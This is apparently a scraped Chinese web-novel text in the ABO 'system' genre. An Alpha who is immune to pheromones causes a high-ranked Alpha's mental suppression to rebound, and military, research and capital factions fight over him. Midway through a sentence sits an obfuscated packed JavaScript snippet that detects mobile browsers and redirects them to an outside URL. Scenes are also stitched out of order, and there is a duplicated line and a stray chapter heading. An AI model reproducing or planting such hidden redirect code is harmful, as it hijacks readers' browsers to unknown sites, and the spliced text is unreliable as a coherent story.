他刚开口,嗓音就因为过度使用精神力而破裂,话被卡在喉咙里,变成一声低哑的喘息。 齐司看着他。 没有回答,也没有任何要伸手扶一把的意思。 他只是把腿稍微往里收了一点,让对方跪在地上的位置离自己鞋尖远一点,避免汗水溅到自己裤脚。 动作很小,很自然,像是在挪开一杯快要洒出来的水。 门外的走廊彻底炸了。 “精神压制无效……他对高阶Alpha的精神域完全没有反应!” “不是无效,是反噬!上将的精神域被自己卷进去了!” “这不符合任何一条精神域交互定律——” “信息素监测呢?他的精神域等级到底是多少?” “监测仪显示空白,所有波段都是零!” “零?怎么可能是零?刚才那种压制强度,他至少应该有本能的防御波动——” “你在说谁?我说的是被压制目标,那个人的信息素和精神域数据全是空白!” “……” 走廊里的争吵声透过单向玻璃传进来,被观察室的隔音系统削弱了一层,但那种混乱的节奏仍旧清晰可辨。 系统在后台把所有对话自动转成文字,快速滚过齐司的意识边缘。 【信息素理论稳定度:-15%。】 【精神域交互模型:崩溃中。】 【外界混乱指数:+9%。】 【任务进度:49%。】 齐司抬手,按了按自己眉心。 不是因为精神力影响,而是因为外面的噪音有点吵。 他往椅背上再靠了一点,调整了个更适合继续坐着的角度。 观察室的门再次被外部强制打开。 这一次进来的是一群穿白大褂的。 他们身上的消毒水味更重,袖口和衣摆上沾着不同颜色的记号笔痕迹,胸牌上挂着密密麻麻的职称和编号。有人手里抱着便携式信息素分析仪,有人推着一台高精度精神域扫描车,车身侧面印着最新一代的型号编码。 “先把上将送出去!” “抑制剂已经注射,精神域稳定在6.1,暂时安全!” “快,快,趁现在——” 几名军医和科研人员合力把高阶Alpha从地上扶起来,抬上担架。担架底部的悬浮装置发出低沉的嗡鸣声,离地两厘米悬停,沿着预设轨迹滑出观察室。 担架经过齐司身边的时候,对方的视线再次落在他脸上。 那一瞬间,齐司能清楚地看到对方眼底的情绪已经从震惊变成了——警惕。 像是终于意识到,眼前这个看起来毫无波动的人,比任何一个敌对Alpha都更危险。 齐司垂眼,看向自己鞋尖。 他不打算接这个眼神。 门在担架滑出后重新合上。 观察室里一瞬间被白大褂占满。 “他刚才真的没有任何生理反应?” “心电图平直,脑电波稳定,瞳孔无收缩,肌电无波动,你自己看数据。” “信息素分析仪呢?快,靠近一点。” 一个戴着银边眼镜的中年研究员把手里的便携分析仪打开,屏幕亮起,蓝色的扫描光从仪器前端缓缓扫出,像一层薄薄的水雾,朝齐司扩散过去。 仪器上方的微型风扇开始转动,吸入空气样本,内部的纳米传感器阵列迅速工作,试图捕捉空气中任何一丝信息素分子。 屏幕上的数据栏从上到下依次点亮: 【Alpha信息素:0.00 ng/m3】 【Beta信息素:0.00 ng/m3】 【Omega信息素:0.00 ng/m3】 【未知信息素:0.00 ng/m3】 “……?” 研究员愣了一下,以为是仪器故障,手指在屏幕上点了两下,调出自检程序。 “滴——” 【自检通过。】 【传感器状态:正常。】 【环境基线:已校准。】 他抬头,看向齐司,又把仪器往前伸了一点,几乎要贴到齐司的袖口。 蓝色扫描光在齐司的手背、肩膀、颈侧一寸一寸扫过。 屏幕上的数值纹丝不动。 “再靠近一点。”旁边的人催。 “已经是零距离了。”研究员咬着后槽牙,一字一顿,“还是零。” “怎么会是零?他是人,不是空气!” “检查环境干扰!是不是抑制剂残留——” “没有抑制剂味道,他连标记腺都没有暴露!” “那他的性别分化到底是什么?” “档案上写的是Alpha。” “Alpha怎么可能没有任何信息素波动?” “那你告诉我,他是什么?” 空气里短暂的沉默。 所有人的视线都不约而同落在齐司身上。 他坐在那里,像是这间观察室里唯一一个真正安静的物体。 灯光从他侧上方落下,在他睫毛上投下一道淡淡的影子。皮肤在冷白光下略显苍白,但血色均匀,没有任何因为紧张或压制而出现的泛红或苍白斑块。 颈侧的皮肤光滑,没有任何信息素腺体被刺激后的轻微肿胀或温度变化。 他像是被从ABO世界的画面里抠出来,放进了一个需要信息素才能运转的系统里,却没有任何兼容接口。 “再做一次精神域扫描。”另一个声音冷静地说。 推着扫描车的人立刻上前,把设备停在齐司身旁。 扫描车顶部的环形装置缓缓升起,像一圈金属制的光环,从齐司头顶开始下降,直到与他的太阳穴平齐。 “请保持不动。”操作员下意识说了一句。 齐司没动。 环形装置开始工作,细微的嗡鸣声在空气中扩散,肉眼不可见的精神波段扫描从四面八方向他的大脑皮层覆盖过去。 主控屏幕上,精神域波形图的底色从灰色变成蓝色,等待捕捉到任何一条属于“被测者”的曲线。 一秒。 两秒。 五秒。 屏幕上,只有环境噪音形成的极低幅度波动,像是心电图上那条代表“死”的直线被人为加了一点点呼吸的错觉。 “……没有?” “再加大灵敏度。” “已经调到最高了。” “那就延长扫描时间!” “延长到一分钟也一样,精神域波形图上连一条正常人的基线都没有!” “他的脑子是空的吗?” “脑电波正常!你看这边,所有认知区、感知区都在正常工作,他只是——没有任何可以被我们定义为‘精神域’的东西。” “……” 走廊外的观测室里,更多人挤到了主屏幕前。 军方的、医学界的、还有几个穿着剪裁精良西装、胸前别着低调却昂贵领针的资本代表。 他们的表情各不相同。 军方的人眉头紧锁,眼底带着对“不可控变量”的本能排斥;医学界的人眼睛发亮,像是看到了一块足以推翻教科书的化石;资本代表则在快速计算,这个“异常”能带来多大的利益,和多大的风险。 “他对高阶Alpha的精神压制免疫。” “他对任何信息素波段都没有反应。” “他自身没有可检测的信息素,也没有可定义的精神域。” “那他还算是ABO体系内的个体吗?” “如果不算,那我们所有基于ABO的社会规则,在他身上全部失效。” “……” 短暂的沉默之后,是更激烈的低声交谈。 “军方必须优先接管他。” “凭什么?这是医学史上的奇迹,应该由我们主导研究!” “奇迹?这是威胁!一个不受信息素规则约束的个体,对现有等级体系是致命的!” “致命?你们的意思是,所有Alpha的精神压制对他无效,他却可能对任何人造成未知影响?” “资本方面有话要说。”一个西装男轻轻咳了一声,打断了争执,“无论他是什么,他的存在已经开始影响市场预期了。” “什么意思?” “你们没看到吗?今天下午开始,所有与‘高阶Alpha’相关的基因药物、精神稳定剂、信息素增强剂的股价都在跌。” “……” “市场在恐慌。高阶Alpha刚刚在所有人眼前被自己的精神域反噬,而目标毫发无伤。这说明什么?” “说明高阶Alpha不再是绝对的顶层。” “说明我们用来维持社会秩序的那套‘Alpha > Beta > Omega’的金字塔结构,在现实层面已经开始松动。” “……” 观测室里一片安静。 只有主屏幕上,代表“异常个体”的那一整列数据,整齐地排列着—— 【信息素等级:未定义】 【精神域等级:未定义】 【性别分化:Alpha(待复核)】 【危险等级:待评估】 【研究优先级:最高】 【接管权归属:争议中】 系统在齐司脑海里刷出一行新的提示。 【世界等级规则稳定度:-22%。】 【ABO体系完整性:出现系统性裂缝。】 【外界混乱指数:+18%。】 【任务进度:56%。】 齐司看着那一串在他意识边缘闪过的数据,眼皮微微一垂。 他有点困。 观察室的灯光对他来说有点太亮了,空调的风也开始有点干,他的眼睛有轻微的酸涩感,是长时间在冷光下睁着眼的正常反应。 他抬手,按了按眼角。 动作很慢,很轻,像是在办公室里加班到点的人,随手揉了揉眼睛,准备关电脑下班。 “齐先生。” 一个带着明显礼貌和克制的声音在他面前响起。 是刚才那个戴银边眼镜的中年研究员。 他站在齐司面前,手里还拿着那台刚刚被证明“什么都测不出来”的分析仪,眼神里压着兴奋和紧张。 “我们需要您配合,做一些更深入的检查。” 齐司看了他一眼。 “多久?”他问。 声音不高,不冷不热,像是在问“还要开多久会”。 “暂时……不确定。”研究员顿了一下,意识到这个回答可能会引起对方的不满,赶紧补充,“但我们会尽量在最短时间内完成所有项目。” 齐司垂眼,看了一眼自己的腕表。 离下班,还有一小时三十六分钟。 他没说话。 也没有点头,也没有摇头。 只是把手从眼角放下,重新搭回椅子扶手上,身体往后靠了靠,找到一个可以继续坐着、不至于太累的姿势。 这种态度,被所有人自动解读成了——默许。 “开始吧。”研究员立刻转身,对身后的人说,“先做近距离信息素暴露测试。” “用哪一类?” “先从Omega开始。” 门外,等候多时的另一组人被迅速放进来。 他们穿着统一的浅色病号服,颈侧的标记腺被一层透明的医用贴布遮住,但那股属于Omega的信息素味道仍旧透过贴布,淡淡地在空气里扩散开来。 甜、柔、带着一点点本能的黏腻感。 为了避免互相干扰,他们被一个个隔离在透明的单人移动舱里,舱壁上布满了细密的通气孔,保证信息素可以正常扩散,又不会让他们之间的味道混杂。 “编号O-17,信息素类型:安抚系,强度:中等偏上。” “编号O-03,信息素类型:诱导系,强度:高。” “编号O-21,信息素类型:混合系,强度:中等。” 他们的资料在主控屏幕上快速闪过。 移动舱被一一推到齐司周围,形成一个不规则的半圆。 空气里的味道迅速变得复杂。 甜的、柔的、带一点柑橘味的清新,还有一丝像是雨后泥土的潮湿气息。不同的信息素在空气里交织,形成一种对任何Alpha来说都近乎“过载”的刺激。 走廊外的观测室里,有几个Alpha观测员下意识皱起眉,喉结滚动了一下,耳尖微微泛红。 “把过滤器开大一点。”有人低声说。 “已经开到最大了。”另一个人苦笑,“这是隔着两道墙的残留味道。” 而观察室里,齐司被这股信息素风暴正面包围。 最近的一个Omega移动舱,距离他不到一米。 舱里的Omega是编号O-03,诱导系,强度高。 他有一双很典型的Omega眼睛,瞳孔偏大,眼尾略微下垂,睫毛很长。此刻,他的呼吸明显比平时快了一点,脸颊因为紧张而泛红,指尖紧紧捏着病号服的下摆。 “准备开始近距离暴露测试。”操作员的声音通过内置喇叭传进每一个移动舱。 “请各位Omega在接下来的十分钟内,保持自然状态,不要刻意压制或释放信息素。” “我们会根据你们的本能反应,记录数据。” O-03抬眼,看向舱外的齐司。 那一瞬间,他的瞳孔微微一缩,像是本能地捕捉到了某种“Alpha”的存在。 但下一秒—— 什么都没有。 没有那种被Alpha视线锁定的轻微战栗,没有信息素腺体被刺激后的隐隐发热,没有心跳加速、呼吸变浅的本能反应。 他的身体像是被按下了“暂停”键。 所有预设的Omega对Alpha的反应路径,在接触到齐司的那一刻,全部断开。 “……?” O-03愣住了。 他下意识深吸了一口气,试图从空气里捕捉到对方的信息素味道。 甜味、柑橘味、雨后泥土味——全是来自其他Omega的。 没有任何属于“Alpha”的辛辣、冷冽或木质调。 舱外,齐司只是安静地坐着。 他没有刻意收敛什么,也没有刻意释放什么。对他来说,这只是一群味道有点重的人靠得有点近。 系统在他脑海里弹出一行提示。 【Omega信息素暴露测试:进行中。】 【宿主生理反应:无。】 【周围Omega本能反应:异常。】 O-03的手指慢慢松开病号服下摆。 他又看了一眼齐司,眼神里带着一种说不清的困惑。 “我……好像没什么感觉。”他忍不住开口,声音通过舱内拾音器传到主控室。 “没感觉?”操作员立刻追问,“具体一点。” “就是……我知道他在那儿。”O-03努力组织语言,“我看得到他,也知道他是Alpha,可是……我闻不到他。” “你确定?” “我确定。”O-03闭了闭眼,再次深吸一口气,“如果不是你们说他是Alpha,我会以为——” “以为什么?” “以为他是……空气。” 这句话一出口,观测室里一片死寂。 另一个Omega,编号O-17,也忍不住开口:“我这边也是。我能感受到其他Omega的信息素,可是他那边……像是一个空白。” “我甚至有点想靠近其他人,想躲开他。”O-21的声音有点发虚,“不是害怕,就是……本能觉得他那边什么都没有。” “正常情况下,Omega在高强度Alpha附近,应该会有明显的依附或排斥反应。”一个医学专家皱着眉,快速翻看着手里的数据,“但他们对他的反应曲线几乎是一条直线。” “直线?”旁边的人凑过来。 “心率、血压、体温、信息素腺体活跃度,全都在正常波动范围内,没有任何‘Alpha靠近’的特征性变化。” “那他对Omega呢?”军方的人问。 “你自己看。”专家把另一组数据调出来。 齐司的生理曲线整齐地排列在屏幕上。 心率:稳定。 血压:稳定。 脑电波:稳定。 皮肤电反应:稳定。 瞳孔直径:稳定。 所有代表“被Omega信息素刺激”的指标,全是——稳定。 “他对Omega的信息素完全无感。”专家得出结论,“就像一个没有任何信息素受体的个体。” “这不可能。”另一个人下意识反驳,“信息素受体是与生俱来的,是ABO体系存在的基础。” “那你告诉我,他是什么?”专家反问。 “……” 没人能回答。 系统在齐司脑海里安静地更新数据。 【Omega对宿主信息素感知:0。】 【宿主对Omega信息素感知:0。】 【ABO交互规则适用性:对宿主无效。】 【世界等级规则稳定度:-31%。】 【外界混乱指数:+21%。】 【任务进度:63%。】 齐司看着那一串数字,眼皮微微一垂。 离下班,还有一小时二十九分钟。 他开始认真考虑,等这一轮测试结束之后,能不能以“有私人安排”为由,提前离开这里。 当然,他不会主动说。 他只会在别人问的时候,顺口提一句。 如果没人问——那就算了。 反正系统的任务进度在自己往前走,他只要坐着,世界就会自己乱下去。 观测室里,军方、医学界、资本三方的代表已经开始低声争执。 “我们必须立刻把他转移到军方专属设施。” “你们想把他当武器?他连信息素都没有,你们打算怎么用?” “正因为他没有信息素,才更危险。他不受任何精神压制,也不会被任何信息素诱导,这意味着——” “意味着他不在你们的控制范围内。”资本代表接过话,“但他可以在市场的控制范围内。” “你什么意思?”军方的人冷声问。 “如果我们能从他身上找到‘解除信息素束缚’的机制,哪怕只是部分复制……”资本代表的眼神在主屏幕上那一整列“未定义”数据上停了一秒,“所有现有的ABO相关药物、抑制剂、增强剂、精神稳定剂,都将被重新定价。” “你想重构市场?” “我只是顺应变化。”资本代表微笑,“世界等级规则已经开始塌陷,我们要做的不是去扶那座摇摇欲坠的金字塔,而是——” “在废墟上盖新的。” “……” 军方的人皱眉。 “你们这些人,只会把一切变成商品。” “那你们呢?”资本代表反问,“你们只会把一切变成武器。” 两人的视线在空中短暂交锋。 医学界的人在一旁扶了扶眼镜,像是终于忍不住插话:“不管你们想把他变成什么,他首先是一个医学奇迹。我们需要完整的研究权限。” “完整?”军方冷笑,“你们打算在他脑子里挖个洞?” “如果有必要的话。”医学代表的语气很平静,“当然,我们会在伦理委员会的框架下进行。” “伦理委员会?”资本代表轻轻笑了一声,“你确定这东西还能撑多久?” 三方的争执在观测室里迅速升温。 每一句话都绕不开一个核心—— 齐司。 观察室里,齐司打了个很小的哈欠。 他抬手,挡了一下嘴角。 动作不大,但被墙角的高清摄像头完整捕捉,实时投放到主屏幕上。 观测室里短暂安静了一瞬。 所有人都意识到—— 在他们围绕着“异常个体”疯狂争夺研究权限、讨论如何利用或控制的时候,当事人本人,正坐在那间被各种仪器包围的观察室里,打了个困倦的哈欠。 系统在他脑海里刷出一行新提示。 【外界对宿主主观控制意图:急剧上升。】 【宿主参与度:0。】 【世界等级规则稳定度:-38%。】 【任务进度:68%。】 离下班,还有一小时二十六分钟。 离下班,还有一小时二十六分钟。 齐司把视线从半空的系统面板上收回来。 他慢慢眨了下眼,眼皮有点沉,像是被实验室里恒定的温度和单调的白噪音催眠。 观察室的灯光是冷白色的,嵌在天花板的金属格栅里,一排一排延伸到尽头。光线被磨砂罩柔和了一点,却依旧亮得没有阴影,连桌面上那一圈圈水渍的边缘都被照得清清楚楚。 他坐的金属椅背有点硬,靠久了腰酸。 齐司往后靠了靠,换了个更省力的姿势。 外面,观测室里的争吵声透过单向玻璃传进来,被厚重的墙体削弱了一层,听上去像远处的电流嗡嗡声,辨不清具体词句,只能听出节奏越来越急促。 系统的提示音在脑海里很安静,没有情绪。 【高阶Alpha精神域波动:异常活跃。】 【对宿主精神压制尝试:即将发生。】 【建议:维持当前状态。】 齐司:“……” 他本来也没打算改变状态。 观察室的门在这时被人从外面刷卡打开了一道缝。 电子锁“滴”的一声,红灯转绿,门缝里先挤进来一股冷风,带着走廊里消毒水和金属的混合味道,紧接着是一道高大的身影。 对方穿着深色军装,肩章上银色的星徽在灯下闪了一下,靴子踩在地面上,发出干脆的声响。 高阶Alpha。 这三个字在门外观测室的监控屏幕上被自动标注出来,旁边跟着一串密密麻麻的参数:精神力等级、战场记录、精神域覆盖半径、压制成功率…… “你们疯了?现在就让他进去?” “精神压制有风险!我们连异常个体的精神域结构都没建模——” “越早确认控制可能性越好,军部那边已经下口头指令了。” 观测室里有人猛地站起来,椅子腿在地上拖出刺耳的摩擦声。 但门已经开了。 高阶Alpha抬手,扶了一下耳后的通讯器,像是把外界的噪音全部关掉。他的表情很冷,眼神锐利,带着一种习惯于下命令的上位者的笃定。 他走进来,门在身后自动合上,隔绝了观测室里乱成一团的争执。 观察室瞬间安静下来,只剩下空调的低鸣和仪器偶尔跳动的提示音。 齐司看了他一眼。 又移开视线,看向墙上那块电子钟。 离下班,还有一小时二十三分钟。 高阶Alpha在距离他两米的地方停下。 他站得笔直,军靴的黑色皮面被擦得发亮,裤缝利落,腰间的战术腰带上挂着一枚识别牌,金属边缘在灯下反光。 “编号A-000。”他开口,声音低沉,带着一点压迫感,“我将对你进行精神域接触测试。” 齐司没说话。 他也没点头,也没摇头,只是继续靠在椅背上,手臂自然垂在椅子两侧,指尖轻轻碰着冰凉的金属扶手。 观测室里,三方代表全部贴近了单向玻璃。 科研机构那边有人已经把高阶Alpha的实时精神波动图调出来,投在副屏上。那是一整片密集的线条,像高频震荡的心电图,峰值不断往上冲,代表精神力正在快速调动。 军方代表双手抱臂,盯着屏幕,眼神里带着一种近乎狂热的期待。 资本方的人则在低声通话:“……对,军部最强的那一批,精神压制成功率百分之九十九点七。嗯,没错,唯一的变量就是这个异常个体。——不,当然,我们会第一时间争取数据。” 观察室里,高阶Alpha抬起手。 他的指尖在空气中轻轻一划。 肉眼看不见的精神域在这一瞬间扩散开来。 如果能看见,那大概会是一片无形的网,从他身上铺展开,带着强烈的压迫感和侵入性,覆盖向坐在椅子上的目标。 仪器能“看见”。 齐司身后的墙上,几台精神域观测设备的屏幕几乎同时亮起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939305|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本平稳的曲线陡然抬升,报警灯一盏接一盏亮起来,红光在白色的墙面上跳动。 “精神域覆盖半径扩大到十五米!” “压制强度百分之八十……百分之九十……百分之九十五!” “他疯了?直接拉到九十五?!” “高阶Alpha对普通Alpha的精神压制,一般五十就足够了!” 观测室里有人忍不住骂出声。 但高阶Alpha的表情没有任何变化。 他看着齐司,眼神冷静,像是在看一个即将被他掌控的目标。 精神域继续扩散。 空气似乎都被压得重了一点。 齐司感觉到了一点东西。 不是压迫,不是窒息,更像是空调突然调低了两度,皮肤表面多了一层若有若无的凉意。 他眨了下眼。 系统在脑海里弹出一行提示。 【高阶Alpha精神域对宿主影响:0%。】 【宿主精神域反馈:自动屏蔽。】 【外界精神域稳定度:-12%。】 齐司没动。 他连呼吸频率都懒得改变。 高阶Alpha的精神域在接触到他的一瞬间,像是撞上了什么完全无法解析的东西。 不是反抗,不是对抗,也不是被吞噬。 更像是—— 一整片高压电流,突然插到了一个不导电的介质上。 没有回路。 没有反馈。 没有任何可以抓住的结构。 精神域的本能运转机制却并不知道“停下”这件事。 它在本能地寻找、探测、试图建立链接。 结果就是,所有输出的高压精神力,全部在一个无法导通的界面上堆积、反弹、回涌。 观测室里的精神波动图在这一刻开始出现肉眼可见的扭曲。 原本整齐的高频曲线突然乱成一团,像被人用手从中间拧了一下,峰值开始不受控制地往上冲,又在下一秒骤然跌落。 “精神域反馈异常!” “压制目标无反应!重复一遍——目标精神域无反应!” “怎么可能?!” 科研人员几乎是扑到屏幕前,手指在虚拟操作台上飞快滑动,试图切换不同的观测模式。 红外、伽马波段、脑电图、精神域三维建模…… 所有模式下,齐司那一块区域都是一片诡异的“空白”。 不是没有信号,而是所有信号在接近那一片区域的时候,全部被“抹平”了。 像是有一块完美光滑的黑洞,吞掉了所有探测,却又没有任何“吞噬”的痕迹。 “这不符合任何已知精神域模型!” “高阶Alpha的精神域在对空压制?!” “不是空!你看反馈——” 另一块屏幕上,高阶Alpha的精神波动图已经开始出现危险的波形。 原本平稳的高频震荡突然出现了几个尖锐的“倒刺”,像是心电图里致命的心律失常。 “精神反噬预警!” “他的精神域在自我攻击!” “拉回来!立刻让他停止!” 观测室里一片混乱。 有人冲到对讲机前,按下通话键:“立刻终止精神压制!重复一遍,立刻终止!” 观察室里,高阶Alpha的手指微微一颤。 他显然也察觉到了不对劲。 精神域里传来的不是熟悉的“压制成功”的反馈,而是一种前所未有的空白感。 像是整片精神力被投入了一个没有回声的深渊。 没有目标,没有附着点。 他试图收回精神域。 但精神域已经在高强度输出的惯性下形成了一个巨大的“回流”。 所有被抛出去的精神力,在找不到目标之后,开始沿着原路往回冲。 就像一条被堵死的河流,水流被硬生生拦在堤坝前,压力一点一点堆积,最终只能朝着源头反噬。 高阶Alpha的瞳孔猛地一缩。 额角的青筋在一瞬间绷起,汗水顺着鬓角往下滑。 他咬紧了牙关,喉结上下滚动,呼吸变得急促。 “精神域反噬强度百分之三十……四十……五十!” “这不对!理论上不可能有这么高的反噬!除非——” “除非目标精神域等级远远高于他?!” “可我们根本检测不到目标的精神域!” 科研人员的声音已经有点破音。 资本方的人脸色也变了,刚才还在打电话的人猛地停下,手机差点从手里滑落。 军方代表的手指关节捏得发白。 “他撑不住了!” “强制切断精神域链接!” “怎么切?我们根本没建立链接!” 观测室里乱成一团。 观察室里,齐司看着高阶Alpha额角滑落的汗水。 又看了一眼墙上的电子钟。 离下班,还有一小时十九分钟。 系统在脑海里弹出提示。 【高阶Alpha精神域自发崩溃倒计时:00:00:12。】 【外界对宿主威胁等级:-5。】 【世界等级规则稳定度:-46%。】 齐司把视线从电子钟上移开,落在自己面前的桌面上。 桌面是磨砂金属,边缘有一点磨损,露出里面更亮的银色。有人曾经在上面用笔敲过,留下几道很浅的划痕。 他抬手,指尖在其中一道划痕上轻轻按了一下。 高阶Alpha在这一刻发出一声极低的闷哼。 他的身体微微弯了一下,像是被什么从内部狠狠撞了一拳。 精神域在无形中崩塌。 观测室里的精神波动图在这一刻彻底失控,所有线条一起冲到顶端,又在下一秒全部归零。 报警器的声音刺耳地响起来,红灯疯狂闪烁。 “精神域崩溃!” “他昏过去了!” 观察室里,高阶Alpha的眼前一黑,整个人向前栽去。 旁边没有人扶。 他就那么直接倒在地上,军靴重重撞在地面上,发出一声闷响。 齐司往旁边挪了一点点,避免对方倒在自己脚边。 动作很小,很自然,像是路过时顺手绕开地上的障碍物。 系统提示。 【高阶Alpha精神域崩溃完成。】 【军方高阶战力稳定度:-21%。】 【世界等级规则稳定度:-53%。】 观测室里,一片死寂。 所有人都看着屏幕上那一幕—— 军部最年轻的一批高阶Alpha之一,精神力记录里几乎没有失败记录的“精神压制者”,此刻倒在地上,脸色苍白,额角冷汗未干。 而他试图压制的目标,仍然坐在椅子上,姿势懒散,呼吸平稳,连眼神都没有变化。 “这不可能……” “理论上不可能……” 科研人员喃喃自语,像是整个人的世界观被人从中间掰断。 资本方的人已经开始疯狂拨号:“——是,我亲眼看见。高阶Alpha精神压制失败,发生严重反噬。——不,目标没有任何精神波动反应。——对,我们需要重估整个ABO精神等级体系的风险溢价。” 军方代表的脸色铁青。 他盯着屏幕,喉结滚动了几下,最终只挤出一句:“把人抬出去,送到精神医疗舱。——立刻。” 观察室的门再次被打开。 两名身穿白色医疗制服的工作人员推着一台移动式精神医疗舱进来。舱体是银白色的合金材质,表面嵌着一圈蓝色的能量指示灯,舱门半开,里面是柔软的深灰色缓冲垫和一圈圈环形的精神稳定装置。 他们动作熟练地把昏迷的高阶Alpha抬进舱里,固定住四肢,关上舱门。 舱体启动,蓝色指示灯一圈圈亮起,发出低沉的嗡鸣。 整个过程中,没有人跟齐司说一句话。 也没有人敢靠得太近。 齐司看着那台医疗舱被推走。 又看了一眼电子钟。 离下班,还有一小时十六分钟。 系统在脑海里刷出新的提示。 【军方对宿主主观控制意图:短期下降,中长期上升。】 【科研机构对宿主研究意图:爆表。】 【资本方对宿主资产化意图:爆表。】 【建议:维持“不参与、不理会、不拒绝、不负责”策略。】 齐司:“……” 他本来也没打算改变。 观察室的门再次关上。 外面的观测室里,气氛从刚才的混乱转为一种诡异的安静。 没人再争吵。 所有人都在飞快地重新计算。 “高阶Alpha精神压制无效,反而被反噬……这说明什么?” “说明现有的精神等级划分模型是错误的。” “或者说,不完整。” “我们一直以为Alpha是精神力金字塔的顶端,结果突然出现了一个——” “超出金字塔之外的存在。” “他甚至不在图表上。” 科研机构那边的人已经开始在虚拟白板上疯狂写写画画,原本清晰的等级金字塔被划掉,旁边出现了一个巨大的问号。 军方代表沉声道:“无论他是什么,他已经证明了一点——现有的高阶战力在他面前没有任何优势,甚至会被反噬。” 资本方的人迅速接话:“这意味着,所有基于Alpha精神压制能力构建的安全体系、合同约束、风险评估模型,都需要重写。” “包括我们对Omega的控制手段。” 这句话一出,观测室里短暂安静了一秒。 所有人的视线不约而同地落在屏幕上齐司的身上。 那是一个看上去再普通不过的身影。 黑色短发,白色实验服,坐在金属椅子上,姿势懒散,眼神平静。 像是一个被困在加班现场的普通职员。 “我们需要更多数据。” 科研机构的人深吸一口气,转头看向军方和资本方:“尤其是——Omega在他身边的反应数据。” 军方代表皱眉:“你想干什么?” “当然是做最基础的反应测试。”科研代表的语气很快,带着一种兴奋到发抖的克制,“如果他的存在能让Omega的信息素反应失效,那整套以信息素为基础的社会控制体系——” “都会崩。” 资本方的人眼睛亮了一下。 “你是说,信息素等级溢价会——” “归零。”科研代表冷静地说,“至少,在他周围。” 观测室里短暂的沉默之后,所有人几乎同时开口。 “我们要一个Omega。” “我们也要参与。” “军方会提供安全保障。” “资本可以出价。” 三方的声音纠缠在一起。 几乎没有任何犹豫,观测室外的走廊里已经有人开始打电话,调动资源。 走廊很长,地面是打蜡的浅灰色地砖,灯光从天花板的嵌灯里洒下来,照在地面上,反出一片冷白的光。 空气里是消毒水、金属、塑料和一点点咖啡的味道。 几扇门紧闭,门上嵌着小小的观察窗,里面是不同的实验室:有的堆满了玻璃试剂瓶,有的摆着一排排冷冻柜,有的则是整面墙的服务器机架,蓝色的小灯一闪一闪。 其中一扇门被猛地推开。 一个穿着浅蓝色病号服的Omega被人半推半拉地带出来。 他看上去很年轻,皮肤白得几乎透明,手腕上还挂着一条未拆的静脉输液管,针头已经拔掉,只剩下透明胶带贴在皮肤上。 他身上有一种很淡的香气。 不是香水,是Omega特有的信息素味道,被消毒水和冷气稀释之后,变得若有若无。 “我、我只是来做例行体检的——” “放心,只是一个简单的反应测试。”带他出来的工作人员语速很快,“不会对你造成任何伤害。” Omega显然有些紧张。 他的手指不自觉地抓着病号服的下摆,指节因为用力而发白。 5. 第 5 章 走廊尽头,观测室的门已经打开。 几双眼睛从里面看过来,带着赤裸裸的审视和计算。 Omega被推到观察室门口。 门刷卡打开,一股冷气扑面而来。 他下意识地缩了缩肩膀。 “进去,站在那个人旁边。”有人在他耳边低声说。 Omega抬头,看见了坐在椅子上的齐司。 那是一张很普通的脸。 没有高阶Alpha那种天然的压迫感,也没有普通Alpha身上那种隐约的侵略性。 更不像Omega。 他身上没有任何可以被嗅觉捕捉的信息素味道。 Omega愣了一下。 他本能地深吸了一口气。 空气里是冷气、金属和消毒水的味道。 没有Alpha的信息素。 没有任何会让Omega腺体发热、心跳加速的气味。 他的心跳很平稳。 甚至比刚才在走廊里还要平稳一点。 观察室里的仪器开始运转。 几台专门用于监测Omega信息素反应的设备被推到玻璃墙后面,探头对准观察室内。 Omega体表温度、腺体活跃度、心率、血压、脑电波、信息素分泌量…… 一串串数据在屏幕上跳动。 “初始数据记录完毕。” “开始接触测试。” 观测室里有人按下了一个按钮。 观察室天花板上的空调出风口轻轻一响,风速略微加大,把室内的空气缓慢地搅动起来。 如果齐司身上有信息素,这个时候应该会被空气流动带向Omega。 Omega站在距离齐司大约一米的地方。 他能清楚地看见对方的侧脸、睫毛、衣领上那一小块被灯光打亮的布料纹理。 他再次深吸一口气。 还是没有。 没有任何Alpha的信息素。 没有那种会让Omega腺体本能收缩、体温上升、呼吸变浅的刺激。 他甚至有点冷。 冷气从脚踝往上爬,让他忍不住缩了缩脚趾。 “你……是Alpha吗?”Omega忍不住小声问。 齐司偏了下头,看了他一眼。 “嗯。”他淡淡应了一声。 Omega愣住。 “可、可是,我什么都闻不到……” 他的声音越来越小,像是有点不安,又有点困惑。 观测室里的科研人员已经快要把鼻子贴到屏幕上。 “Omega腺体活跃度——” “零。” “信息素分泌量——” “零。” “心率、血压全部在正常范围内,甚至略低于刚才。” “这不可能!Omega在Alpha一米范围内,哪怕是最低阶的Alpha,腺体都会有轻微反应!” “除非——” “除非他根本不在ABO体系里。” 这句话像是一记重锤,砸在所有人心里。 资本方的人脸色变了又变。 “你是说,我们所有基于信息素反应构建的配对算法、婚配合同、等级溢价、保险模型、风险评估——” “全部建立在一个不完整的体系上。”科研代表的声音有点发抖,却带着一种近乎疯狂的兴奋,“而这个人,是那个体系之外的变量。” 军方代表冷冷地道:“更重要的是——他让Omega在他身边完全失去信息素反应。这意味着,所有以‘Omega对Alpha的本能依赖’为基础的控制手段,在他面前全部失效。” 观测室里一片沉默。 Omega还站在齐司旁边。 他偷偷又深吸了一口气。 还是没有。 他甚至有点想打喷嚏,被冷气吹的。 “你、你真的没有信息素吗?”他忍不住又问了一句。 齐司看着他。 “有。”他平静地说。 Omega更困惑了。 “那、那为什么我——” “可能是你鼻子堵了。”齐司随口说。 Omega:“……” 观测室里有人差点没憋住笑,又被旁边的人一肘子顶回去。 系统在齐司脑海里刷出提示。 【Omega对宿主信息素感知:0%。】 【Omega对宿主心理安全感:+72%。】 【Omega对世界等级规则信任度:-35%。】 【世界等级规则稳定度:-61%。】 齐司看了一眼电子钟。 离下班,还有一小时零九分钟。 他有点想回家。 不想再坐在这把硬椅子上。 